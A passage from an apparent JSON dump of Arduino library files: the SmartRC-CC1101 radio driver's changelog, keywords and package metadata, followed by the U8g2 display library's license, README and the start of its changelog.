use.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.3\n---------------------------------------------\n22.01.2021\n\nDriver Library\t\t:Putting rx tx has no effect if they are already in mode. Prevents unnecessary double-initaliesing.\n\nDriver Library\t\t:new command added: ELECHOUSE_cc1101.goSleep();   //Enter power down mode. For wakeup set RX or TX.\n\nDriver Library\t\t:new command added: ELECHOUSE_cc1101.getMode();   //Return the Mode. Sidle = 0, TX = 1, Rx = 2.\n\nDriver Library\t\t:new command added: ELECHOUSE_cc1101.setSidle();  //Set Rx / Tx Off.\n\nDriver Library\t\t:new command added: ELECHOUSE_cc1101.getCC1101(); //Test Spi connection and return 1 when true.\n\nExamples\t\t:RcSwitch Repeater_cc1101.ino has been shortened.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.2\n---------------------------------------------\n01.10.2020\n\nDriver Library\t\t:SpiWriteReg, SpiReadReg, SpiWriteBurstReg and SpiReadBurstReg change to public. Allows additional modifications from sketch.\n\nDriver Library\t\t:Setrx no longer has to be set to receive.(internal transmission methods)\n\nDriver Library\t\t:Gdo pins are now set to input / output with set gdo instead of Init.\n\nDriver Library\t\t:Added new sending method. Allows sending without a gdo0 pin.\n\nnotes\t\t\t:The new internal send and receive methods now work completely without an additional gdo pin.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.1\n---------------------------------------------\n18.08.2020\n\nDriver Library\t\t:When changing from receiving to sending, the program freezes (internal send functions). fixed!\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.0\n---------------------------------------------\n16.08.2020\n\nDriver Library\t\t:Rssi was calculated incorrectly.Fixed Thanks to zapquiyou!\n\nDriver Library\t\t:New receiving method for internal examples added. Allows several actions to be carried out in the loop.\n\nDriver Library\t\t:Internal Crc check added for internal examples.\n\nDriver Library\t\t:Simplification to send char added for internal transfer examples.\n\nDriver Library\t\t:A lot of new settings added for internal transmission examples. Everything can be set as in SmartRF Studio and is calculated automatically. An overview: setDeviation, setChsp, setRxBW, setDRate, setSyncMode, setSyncWord, setAdrChk, setAddr, setWhiteData, setPktFormat, setLengthConfig, setPacketLength, setCrc, setCRC_AF, setDcFilterOff, setManchester, setFEC, setPQT, setAppendStatus. description in the examples!\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.4.0\n---------------------------------------------\n07.05.2020\n\nDriver Library\t\t:frequency calculator has been simplified. error-free calculations and less variables.\n\nDriver Library\t\t:Added frequency calibration option.\n\nDriver Library\t\t:Certain frequencies could not be set. Fixed! Big thanks to gusgorman402!\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.3.5\n---------------------------------------------\n14.04.2020\n\nDriver Library\t\t:setChsp has been removed to save space. This function is available in the Service / Debug Tool as an extended function.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.3.4\n---------------------------------------------\n01.04.2020\n\nDriver Library\t\t:set AGCCTRL2 from 0x07 to 0xC7. Reception is significantly improved!\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.3.3\n---------------------------------------------\n01.04.2020\n\nDriver Library\t\t:set FSCTRL1 from 0x08 to 0x06. for better receive.\n\nDriver Library\t\t:set SpiWriteReg to public. Make it fit for debug tool!\n\nDriver Library\t\t:set SpiStrobe to public. Make it fit for debug tool!\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.3.2\n---------------------------------------------\n24.03.2020\n\nDriver Library\t\t:Set gdo2 from input to output. Errors in libraries that use the pins directly.\n\nexamples\t\t:Set gdo2 from setting 2 to 0 in default examples. Gdo2 is not required for these examples.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.3.1\n---------------------------------------------\n18.03.2020\n\nDriver Library\t\t:ESP8266/32 core panik. Fixed! The cc1101 must be initialized before setting options!\n\nexamples\t\t:all examples have been adapted.\n\nexamples\t\t:internal cc1101 examples have been adapted for esp8266/32.\n\nexamples\t\t:ESPiLight examples added.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.3\n---------------------------------------------\n18.03.2020\n\nDriver Library\t\t:\"RcSwitch-cc1101-driver-lib\" becomes \"SmartRC-cc1101-driver-lib\".\n\nPull request\t\t:#20 Removed unnecessary initializations when setting Tx or Rx mode. Agreed / accepted improves speed when changing rx / tx. Special thanks to fleibede.\n\nPull request\t\t:#19 Added spi state after SPI pins have been set for default pins. The problem was solved differently. Special thanks to fleibede.\n\nPull request\t\t:#18 Updated AVR types conditional defines. Agreed / accepted. Special thanks to fleibede.\n\nDriver Library\t\t:Frequency calculator certain frequencies were calculated incorrectly. fixed!\n\nDriver Library\t\t:Intelligent Pa Table system added. When changing the band The corresponding table is set via setTx / Rx and the frequency set to basic calibrated. All module internal transmission powers can now be set according to the band.\n\nDriver Library\t\t:Newly calibrated base frequency on chan 0 according to the SmartRF Studio.\n\nDriver Library\t\t:Channel spacing calculator can enter directly the spacing area in khz.\n\nDriver Library\t\t:Modulation setting added for internal transmission methods\n\nDriver Library\t\t:ESP32 reception improvements.\n\nDriver Library\t\t:Direct conversion of the RSSI level in the library.\n\nDriver Library\t\t:Correction of version numbering.\n\nexamples\t\t:New examples added \"RemoteSensor library\".\n\nexamples\t\t:New examples added \"Elechouse CC1101 default examples\"\n\nexamples\t\t:Remote Fusion has been removed and given an extra library.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V2.2.1\n---------------------------------------------\n[Download Release V2.2.1](https://drive.google.com/file/d/1YHFpp2GQC96-GKcg67Tym9wt1E4CBdFc/view?usp=sharing)\n\n20.01.2019\n\nDriver Library\t\t:Spi options have been removed. (Problems with ESP32) FIXED!\n\nnotes\t\t\t:everything was checked again. D-SUN module on esp8266 / 32 and so on.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V2.2\n---------------------------------------------\n17.01.2019\n\nVersion notes\t\t:Spi was reconfigured for fix some issuses.\n\nDriver Library\t\t:HotFix for cc1101 module with \"8pins\"(example DSun). Transmitting on Esp8266 based bords not work. FIXED!\n\nDriver Library\t\t:Change \"SpiReadStatus\" to public. Now can read RSSI Level!\n\nDriver Library\t\t:Spi transfer rate was limited to cc1101 max transfer rate (10mhz).\n\nDriver Library\t\t:After using Spi, it will now be disabled. (receive data from serial monitor and rx pin was not working on Esp 8266/32) FIXED!\n\nAdd Examples\t\t:ReceiveDemo_Simple_with_RSSI_cc1101.ino (Shows reception strength)\n\nAdd Examples\t\t:Frequency_Scanner_cc1101.ino (Scans Transmitting frequency of your remotes. No good results with cc1101-DSun)\n\nAdd Examples\t\t:ProtocolAnalyzeDemo_cc1101.ino (for scan unknown protokolls. Requires: link is in sketch!) \n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V2.1\n---------------------------------------------\n3.1.2019\n\nDriver Library\t\t:Spi corrections for esp32. Spi Pin changes did not work on esp32. FIXED!\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V2.0\n---------------------------------------------\n18.12.2018\n\nDriver Library\t\t:Own Spi pin settings possible. Allows the use of other microcontrollers. Allows you to use multiple CC1101s. More information in the commands.txt\n\nAdd TXT\t\t\t:driver lib commands and examples.txt\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.9.3\n---------------------------------------------\n27.11.2018\n\nDriver Library\t\t:setESP8266 has been removed. Pins are set automatically with the init command.\n\nDriver Library\t\t:Arduino mega SPI pins added.\n\nDriver Library\t\t:Added setGDO pins (For libraries that directly address the GDO pins).Like this https://github.com/EinfachArne/Somfy_Remote .\n\t\t\t Example ELECHOUSE_CC1101.setGDO(2, 4); // (pin2 = GDO0, pin4 = GDO2).\n\nAdd Wiring TXT\t\t:WIRING MEGA.txt\n\nAdd Wiring JPG\t\t:WIRING MEGA.jpg\n\nLICENSE\t\t\t:LICENSE.txt Update.\n\nnotes\t\t\t:setGDO is not compatible with RC_Switch / NewRemotSwitch.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.9.2\n---------------------------------------------\n16.11.2018\n\nFixes Remotes Fusion\t:Receive mode and Repeater mode frequency, changes to the transmitter frequency after pressing on a transmitter. (RemotesFusion.ino)Fixed!\n\nNewRemoteSwitch\t\t:LearnCode_cc1101.ino (corrections).\n\nAdded\t\t\t:Keywords.txt added.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.9.1\n---------------------------------------------\n07.11.2018\n\nNew Sketch\t\t:Clear_EEPROM.ino (if there are problems with the access point password or if you want to use your ESP for other projects).\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.9\n---------------------------------------------\n18.10.2018\n\nNew Sketch\t\t:RemotesFusion.ino.\n\nNew Apk´s\t\t:RemotesFusion_V1_en.apk / RemotesFusion_V1_de.apk.\n\nAdd Docs\t\t:Docs and manuals for RemotesFusion.\n\nChanges\t\t\t:channel spacing and channel set was removed from the examples. unnecessary because exact frequency can be set.\n\nnotes\t\t\t:RemotesFusion is an application with which Rc-Switch and NewRemoteSwitch can be controlled at the same time.\n\t\t\t A universal remote control APP with many possibilities. Only for Esp 8266/32 modules! For more information, watch the docs.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.8\n---------------------------------------------\n[Download Release V1.8](https://drive.google.com/file/d/1ADKOmW0SrUoomeoDskFrm0J2SdwCLB_O/view?usp=sharing)\n\n02.09.2018\n\nDriver Library\t\t:Added pin settings for esp32.\n\nExamples\t\t:Added pin settings for esp32 examples.\n\nAdd Wiring JPG\t\t:Add Wiring JPG esp32.\n\nAdd Wiring TXT\t\t:Add Wiring TXT esp32.\n\nAdd Wiring JPG\t\t:Add Wiring JPG esp32 for Receive_Send_Decimal_Demo_Simple.ino.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.7.2\n---------------------------------------------\n[Download Release V1.7.2](https://drive.google.com/file/d/1sfMvQw2JaGARTaYXZevOjB20BFOMS0tw/view?usp=sharing)\n\n16.08.2018\n\nExamples\t\t:All NewRemoteSwitch examples are compatible with ESP. Exception Retransmitter_cc1101.ino.\n\nDriver Library\t\t:Frequency calculator calibrated. Difference -0.01 MHz. (Fixed!) Frequency is now accurate.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.7.1\n---------------------------------------------\n[Download Release V1.7.1](https://drive.google.com/file/d/1PXa1k0AIDY8bTMxFyyQMbOljijhIn1ke/view?usp=sharing)\n\n10.08.2018\n\nDriver Library\t\t:Now you can Switch the frequency in loop. Examples: ELECHOUSE_cc1101.SetTx(433.92); and ELECHOUSE_cc1101.SetRx(433.92);.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.7\n---------------------------------------------\n[Download Release V1.7](https://drive.google.com/file/d/1uxACfe1ZUrkL4S3_NPVN0DmUfzbxt6oQ/view?usp=sharing)\n\n09.08.2018\n\nDriver Library\t\t:Now you can enter your base frequency directly.The library calculates the settings automatically. example(433.92) \n\nDriver Library\t\t:Remove freq2, freq1 and freq0 Settings.\n\nDriver Library\t\t:Removed unnecessary entries. the library shrank from 32,8kb(.cpp) and 9,38kb(.h) to 17,0kb(.cpp) and 7,87kb(.h).\n\nNew Example\t\t:(NewRemoteSwitch Library) NewRemoteRepeater.ino. Repeat the Received signal 1to1. Best thanks to Roman for write it. \n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.6.1\n---------------------------------------------\n[Download Release V1.6.1](https://drive.google.com/file/d/1q8FV5kDnhAj1SMZf6DS0wDcm5xo4E-5-/view?usp=sharing)\n\n05.08.2018\n\nExamples Fix (rc-switch):Fix auto receive pulse. Received pulse don´t transmit. Fixed!(Repeater.ino and Receive_Send_Decimal_Demo_Simple.ino).\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.6\n---------------------------------------------\n[Download Release V1.6](https://drive.google.com/file/d/1p_iAxh7ZWlNWhFoqMM_tlLTLdyGK07-a/view?usp=sharing)\n\n03.08.2018\n\nEsp8266\t\t\t:Compatibility for all RC switch examples.\n\nDriver Library\t\t:Add the GDO2 pin for Receive. Change GDO0 to send.\n\nWiring changes\t\t:Description in jpg's and txt's.\n\nExamples\t\t:All examples have been adjusted.\n\nExamples\t\t:Esp and Arduino are set automatically. \n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.5\n---------------------------------------------\n[Download Release V1.5](https://drive.google.com/file/d/1XcGPbvI5v2PcpnVBbjtOFwtuJtx3jMK4/view?usp=sharing)\n\n31.07.2018\n\nNew\t\t\t:Supportet NewRemoteSwitch Library. For wireless sockets by trust smart home, Smappee, DI-O Chacon, Intertechno and others.\n\t\t\t You want to use it? Then you need that https://github.com/1technophile/NewRemoteSwitch\n\t\t\t \nAdd Examples\t\t:NewRemoteSwitch Compatible examples.\n\nDriver Library\t\t:You can now switch directly from Tx to Rx in the loop. Without resetting the cc1101.\n\nAdd Examples\t\t:New Repeater Example for Rc-switch. For example, to increase the range of your remote control.\n\nExample changes\t\t:Receive_Send_Decimal_Demo_Simple.ino (remove unnecessary commands).\n\nExamples Fix\t\t:Rc-Switch examples fix TypeA, TypeB and TypeD (missing from semicolon to SetTx).\n\nNotes\t\t\t:NewRemoteSwitch examples Retransmitter_cc1101.ino and LightShow_cc1101.ino only Arduino!!!\n\nNotes\t\t\t:Rc-switch example Repeater_cc1101.ino only Arduino!!!\n\nNotes\t\t\t:Rc-switch example Receive_Send_Decimal_Demo_Simple.ino only Arduino!!!\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.4\n---------------------------------------------\n[Download Release V1.4](https://drive.google.com/file/d/1nAPGeQSutfskirJsng44adB4sXU1YU6A/view?usp=sharing)\n\n26.07.2018\n\nDriver Library\t\t:esp8266 Compatibility (Tested with Wemos d1 mini).\n\nDriver Library\t\t:Change default Receive filter bandwidth to 812khz (max).\n\nDriver Library\t\t:Change default Tx Power to PA10 (max).\n\nExamples\t\t:Add set esp command and pin settings.\n\nExamples\t\t:Diskription change.\n\nDemo Example\t\t:Add auto Recive and Send pulse length. (Receive_Send_Decimal_Demo_Simple.ino)\n\nAdd Wiring JPG\t\t:Add Wiring JPG esp8266.\n\nAdd Wiring TXT\t\t:Add Wiring TXT esp8266.\n\nNotes\t\t\t:esp8266 pin D4 don´t work with receive, Transmit and receive is set to D2.\n\nNotes \t\t\t:esp8266 don´t work with Receive_Send_Decimal_Demo_Simple.ino (freezes when reset cc1101).\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.3.1\n---------------------------------------------\n[Download Release V1.3.1](https://drive.google.com/file/d/1iKmagldd14O1Boa9Z_PDpXbHRECYUPdt/view?usp=sharing)\n\n30.03.2018:\n\nDriver Library Fix\t:no effect set by transmission power.\n\nDriver Library\t\t:Transmitting power can be adjusted via frequency(example in the sketches).\n\nExamples\t\t:Command Tx Power cleared.\n\nExamples Fix\t\t:set Receive filter bandwidth (command incomplete) Fixed.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.3\n---------------------------------------------\n[Download Release V1.3](https://drive.google.com/file/d/1q56Qewk8-Aquv1epss1gd7Gc05q4GrbO/view?usp=sharing)\n\n25.03.2018:\n\nDriver Library\t\t:Add Channel List. Now you can set channel numbers 0-255.\n\nDriver Library\t\t:Add bandwidth can be adjusted\n\nDriver Library\t\t:transmission power can be adjusted\n\nDriver Library\t\t:can set your own frequency settings (freq2, freq1, freq0)\n\nDriver Library\t\t:Channel spacing can be set.\n\nExamples\t\t:Add set new commands\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.2 \n---------------------------------------------\n[Download Release V1.2](https://drive.google.com/file/d/1KLJt8ygszj9rqcttiEMt5zCnJKHc_qe3/view?usp=sharing)\n\n20.03.2018:\n\nDriver Library \t\t:Add 315Mhz Support.\n\nDriver Library \t\t:Add Channel command for finetune (80khz steps) from 420mhz - 440mhz / 302mhz - 322mhz.\n\nExamples\t\t:Add set channel command in examples.\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.1 \n---------------------------------------------\n[Download Release V1.1](https://drive.google.com/file/d/1uZzcY4uoduiUjFZzXdxA-ucLoA_TtC1f/view?usp=sharing)\n\n19.03.2018:\n\nDriver Library Fix\t:Calibrated Frequency from 433.86 to 433.92 - 433.93 Mhz.\n\nDriver Library\t\t:cc1101 reset command added (allows switching between send and receive.)\n\nNew Demo Example\t:Receive_Send_Decimal_Demo_Simple.ino (Sends last received decimal code)\n\t\t\t To illustrate the change between RX and TX (press button = send / do not press button = receive)\n\nAdd Wiring JPG\t\t:Wiring for Receive_Send_Decimal_Demo_Simple.ino\n\nAdd Wiring JPG\t\t:Wiring for Nano / Uno\n\n\n---------------------------------------------\nChangelog: RCSwitch-CC1101-Driver-Lib_V1.0 \n---------------------------------------------\n[Download Release V1.0](https://drive.google.com/file/d/14538RtiEakZ_8yioXJT32XneheSjDqxi/view?usp=sharing)\n\n18.03.2018:\n\ncc1101 Compatibility for RC-Switch.\n\ncc1101 RC-Switch Compatible examples.\n"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/keywords.txt",
    "content": "ELECHOUSE_CC1101_SRC_DRV\tKEYWORD1\nELECHOUSE_cc1101\tKEYWORD1\nInit\t\t\tKEYWORD2\nSpiReadStatus\t\tKEYWORD2\nSpiStrobe\t\tKEYWORD2\nSpiWriteReg\t\tKEYWORD2\nSpiWriteBurstReg\tKEYWORD2\nSpiReadReg\t\tKEYWORD2\nSpiReadBurstReg\t\tKEYWORD2\nsetSpiPin\t\tKEYWORD2\naddSpiPin\t\tKEYWORD2\nsetGDO\t\t\tKEYWORD2\nsetGDO0\t\t\tKEYWORD2\naddGDO\t\t\tKEYWORD2\naddGDO0\t\t\tKEYWORD2\nsetModul\t\tKEYWORD2\nsetCCMode\t\tKEYWORD2\nsetModulation\t\tKEYWORD2\nsetPA\t\t\tKEYWORD2\nsetMHZ\t\t\tKEYWORD2\nsetRxBW\t\t\tKEYWORD2\nsetChannel\t\tKEYWORD2\nSetTx\t\t\tKEYWORD2\nSetRx\t\t\tKEYWORD2\ngetRssi\t\t\tKEYWORD2\ngetLqi\t\t\tKEYWORD2\nsetSres\t\t\tKEYWORD2\nsetSidle\t\tKEYWORD2\ngoSleep\t\t\tKEYWORD2\nSendData\t\tKEYWORD2\nCheckReceiveFlag\tKEYWORD2\nCheckRxFifo\t\tKEYWORD2\nCheckCRC\t\tKEYWORD2\nReceiveData\t\tKEYWORD2\nsetClb\t\t\tKEYWORD2\ngetCC1101\t\tKEYWORD2\ngetMode\t\t\tKEYWORD2\nsetSyncWord\t\tKEYWORD2\nsetChsp\t\t\tKEYWORD2\nsetDRate\t\tKEYWORD2\nsetDeviation\t\tKEYWORD2\nsetSyncMode\t\tKEYWORD2\nsetAdrChk\t\tKEYWORD2\nsetAddr\t\t\tKEYWORD2\nsetWhiteData\t\tKEYWORD2\nsetPktFormat\t\tKEYWORD2\nsetLengthConfig\t\tKEYWORD2\nsetPacketLength\t\tKEYWORD2\nsetCrc\t\t\tKEYWORD2\nsetCRC_AF\t\tKEYWORD2\nsetDcFilterOff\t\tKEYWORD2\nsetManchester\t\tKEYWORD2\nsetFEC\t\t\tKEYWORD2\nsetPRE\t\t\tKEYWORD2\nsetPQT\t\t\tKEYWORD2\nsetAppendStatus\t\tKEYWORD2"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/library.json",
    "content": "{\n  \"name\": \"SmartRC-CC1101-Driver-Lib\",\n  \"description\": \"This driver library can be used for many libraries that use a simple RF ASK module, with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly.\",\n  \"keywords\": \"rf, radio, wireless, cc1101\",\n  \"authors\":\n  {\n    \"name\": \"Little Satan\"\n  },\n  \"repository\":\n  {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib\"\n  },\n  \"version\": \"2.5.7\",\n  \"frameworks\": [\n        \"arduino\"\n  ],\n  \"platforms\": \"*\"\n}\n"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/library.properties",
    "content": "name=SmartRC-CC1101-Driver-Lib\nversion=2.5.7\nauthor=LSatan\nmaintainer=LSatan <littlesatan.666.ls@gmail.com>\nsentence=Driver for cc1101.\nparagraph=This driver library can be used for many libraries that use a simple RF ASK module,with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly.\ncategory=Device Control\nurl=https://github.com/LSatan/SmartRC-CC1101-Driver-Lib\narchitectures=avr,esp8266,esp32\nincludes=ELECHOUSE_CC1101_SRC_DRV.h\n"
  },
  {
    "path": "Bibliotecas/U8g2/LICENSE",
    "content": "\nThe U8g2lib code (http://code.google.com/p/u8g2/) is licensed under the terms of \nthe new-bsd license (two-clause bsd license).\nSee also: http://www.opensource.org/licenses/bsd-license.php\n\nFonts are licensed under different conditions.\nSee \n\thttps://github.com/olikraus/u8g2/wiki/fntgrp\nfor detailed information on the licensing conditions for each font.\n\nThe example code in sys/raspi_gpio/hal will use the bcm2835 lib from Mike McCauley\nwhich is licensed under GPL V3: http://www.airspayce.com/mikem/bcm2835/\n\n============ X11 Fonts COUR, HELV, NCEN, TIM, SYMB ============\n\nFor fonts derived from the following files, the license below applies.\nCOURB08.BDF COURB10.BDF COURB12.BDF COURB14.BDF COURB18.BDF \nCOURB24.BDF COURR08.BDF COURR10.BDF COURR12.BDF COURR14.BDF \nCOURR18.BDF COURR24.BDF HELVB08.BDF HELVB10.BDF HELVB12.BDF HELVB14.BDF \nHELVB18.BDF HELVB24.BDF HELVR08.BDF HELVR10.BDF HELVR12.BDF HELVR14.BDF \nHELVR18.BDF HELVR24.BDF NCENB08.BDF NCENB10.BDF NCENB12.BDF \nNCENB14.BDF NCENB18.BDF NCENB24.BDF NCENR08.BDF NCENR10.BDF \nNCENR12.BDF NCENR14.BDF NCENR18.BDF NCENR24.BDF SYMB08.BDF SYMB10.BDF \nSYMB12.BDF SYMB14.BDF SYMB18.BDF SYMB24.BDF TIMB08.BDF TIMB10.BDF \nTIMB12.BDF TIMB14.BDF TIMB18.BDF TIMB24.BDF TIMR08.BDF TIMR10.BDF \nTIMR12.BDF TIMR14.BDF TIMR18.BDF TIMR24.BDF \n\nCopyright 1984-1989, 1994 Adobe Systems Incorporated.\nCopyright 1988, 1994 Digital Equipment Corporation.\n\nAdobe is a trademark of Adobe Systems Incorporated which may be\nregistered in certain jurisdictions.\nPermission to use these trademarks is hereby granted only in\nassociation with the images described in this file.\n\nPermission to use, copy, modify, distribute and sell this software\nand its documentation for any purpose and without fee is hereby\ngranted, provided that the above copyright notices appear in all\ncopies and that both those copyright notices and this permission\nnotice appear in supporting documentation, and that the names of\nAdobe Systems and Digital Equipment Corporation not be used in\nadvertising or publicity pertaining to distribution of the software\nwithout specific, written prior permission.  Adobe Systems and\nDigital Equipment Corporation make no representations about the\nsuitability of this software for any purpose.  It is provided \"as\nis\" without express or implied warranty.\n\n\n============ BSD License for U8g2lib Code ============\n\nUniversal 8bit Graphics Library (http://code.google.com/p/u8g2/)\n\nCopyright (c) 2016, olikraus@gmail.com\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, \nare permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this list \n  of conditions and the following disclaimer.\n  \n* Redistributions in binary form must reproduce the above copyright notice, this \n  list of conditions and the following disclaimer in the documentation and/or other \n  materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \nCONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \nINCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \nCONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \nNOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \nSTRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \nADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n"
  },
  {
    "path": "Bibliotecas/U8g2/README.md",
    "content": "# U8g2_Arduino: Arduino Monochrome Graphics Library\n\n![https://raw.githubusercontent.com/wiki/olikraus/u8g2/img/uc1701_dogs102_uno_board_320.jpg](https://raw.githubusercontent.com/wiki/olikraus/u8g2/img/uc1701_dogs102_uno_board_320.jpg) \n\nU8glib V2 library for Arduino\n\nDescription: https://github.com/olikraus/u8g2/wiki\n\nIssue Tracker: https://github.com/olikraus/u8g2/issues\n\nDownload (2.34.22): https://github.com/olikraus/U8g2_Arduino/archive/master.zip\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/extras/ChangeLog",
    "content": "\nhttps://github.com/olikraus/u8g2 ChangeLog\n\n\n2016-04-30\tv2.0.1  \tolikraus@gmail.com\n  * Support for DOGS102, ST7920, SSD1306\n  * Most graphics primitives are implemented\n2016-05-15\tv2.0.3 \tolikraus@gmail.com\n  * Support for Adafruit FeatherWing 128x32 OLED\n  * Added Wire.h support (I2C for SSD1306)\n  * Successfully tested with Adafruit ESP8266 Feather Board (HW+SW I2C)\n  * Successfully tested with Adafruit Feather M0 Basic Board (HW+SW I2C)\n2016-06-12\tv2.0.4 \tolikraus@gmail.com\n  * Support for ST7565\n2016-06-25\tv2.0.6 \tolikraus@gmail.com\n  * User interface functions\n  * Little Rook Chess ported\n  * ST7920 HW and SW SPI\n2016-06-26\tv2.0.7\t  olikraus@gmail.com\n  * drawLine\n  * GraphicsTest Example\n2016-08-09\tv2.1.5\t  olikraus@gmail.com\n  * T6963 Support\n  * Experimental Support for SSD1322 256x64\n  * A2 Thermoprinter Support\n  * Added several fonts from http://int10h.org/oldschool-pc-fonts/\n  * Added Arabic, Greek and Cyrillic fonts.\n  * Code cleanup (assert, spi modes, void * warning)\n2016-08-17\tv2.2.7\t  olikraus@gmail.com\n  * U8x8: Upscale by 2 (Issue 41)\n  * Fixed SSD1306 I2C procedures (mirror pixel in last tile column, issue 44)\n  * Experimental support für mini12864 (pull request)\n  * Use beginTransaction for SPI. This requires Arduino 1.6.0\n2016-08-18\tv2.3.2\t  olikraus@gmail.com\n * MINI12874; Fixed HW Flip Mode (pull request 49)\n * Fixed ST7920 HW SPI with very fast uC, issue 50\n * Improved HW SPI for SH1106 and SSD1306 displays\n * Fixed issue with missing fonts\n2016-08-21\tv2.4.1\tolikraus@gmail.com\n * Fixed HW SPI Modes (issue 52)\n2016-10-01\tv2.5.2\t olikraus@gmail.com\n * Added crox fonts (issue 57)\n * Support for RA8835 (issue 45)\n * Added support for SSD1322 and SSD1325\n * Added DrawXBMP (AVR: Assume bitmap in PROGMEM)\n * Added japanese fonts (issue 65)\n2016-11-13\tv2.6.3\t olikraus@gmail.com\n * Added support for UC1610 (EA DOGXL160)\n * Use Wire.setClock() for improved HW I2C performance (issue 79). This\n    requires Arduino IDE 1.6.0 or higher.\n * Added Thai Fonts (issue 73)\n * Added support for \"\\n\" in the print function for u8x8 (issue 74)\n * Screen mirror option for U8g2 (issue 76)\n * Added support for second wire interface (Constructor postfix 2ND_HW_I2C)\n * Added support for UC1611 (EA DOGM240 and EA DOGXL240, issue 66)\n2016-11-28\tv2.7.5\t olikraus@gmail.com\n  * Added support for 0.66\" 64x48 SSD1306 OLED (issue 89)\n  * Support for UC1608 (issue 92)\n  * Speed improvements for SW SPI und 8080 mode (issues 87, 90 and 95)\n  * Fixed issue with ST7920 not using the optimized SW SPI procedures (issue 87)\n  * Direct buffer API (issue 93)\n2016-12-11\tv2.8.4\t olikraus@gmail.com\n  * Increased contrast range for SSD1306 (issue 98)\n  * Support for KS0108 (issue 88)\n  * Support for UC1608 240x128 (issue 101)\n  * Speed improvement (issue 96)\n2016-12-12\tv2.8.5\t olikraus@gmail.com\n  * Bugfix for issue 96 (issue 106)\n2016-12-20\tv2.9.1\t olikraus@gmail.com\n  * Speed improvement for AVR/KS0108 (issue 104)\n  * Support for UC1604 (issue 111)\n  * Support for PCD8544/Nokia Display (issue 107)\n  * Change/fixed behavior of userInterfaceSelectionList (issue 112)\n2016-12-23\tv2.9.2\t olikraus@gmail.com\n  * Reverted the setup for SSD1306_NONAME to the original setup (undo issue 98)\n  * Introduced SSD1306_VCOMH0 for the max range setup (issue 116)\n2016-12-30\tv2.10.1\t olikraus@gmail.com\n  * ST7565 LM6059 Display (issue 123)\n  * SSD1606 eInk/ePaper Display (issue 100)\n  * Documentation updates\n2017-01-08\tv2.11.4\t olikraus@gmail.com\n  * Support for LC7981 (issue 134)\n  * Support for PCF8812 (issue 135)\n  * Fixed wrong half-move notation in Little Rook Chess (issue 137)\n  * Support for ST7567, Pax Instruments GLCD Shield (issue 138)\n  * Support for NT7534 (issue 143)\n  * Support for SSD1327, Seeedstudio OLED (issue 145)\n  * Support for SSD1305 (issue 146)\n  * Support for DOGM132 (issue 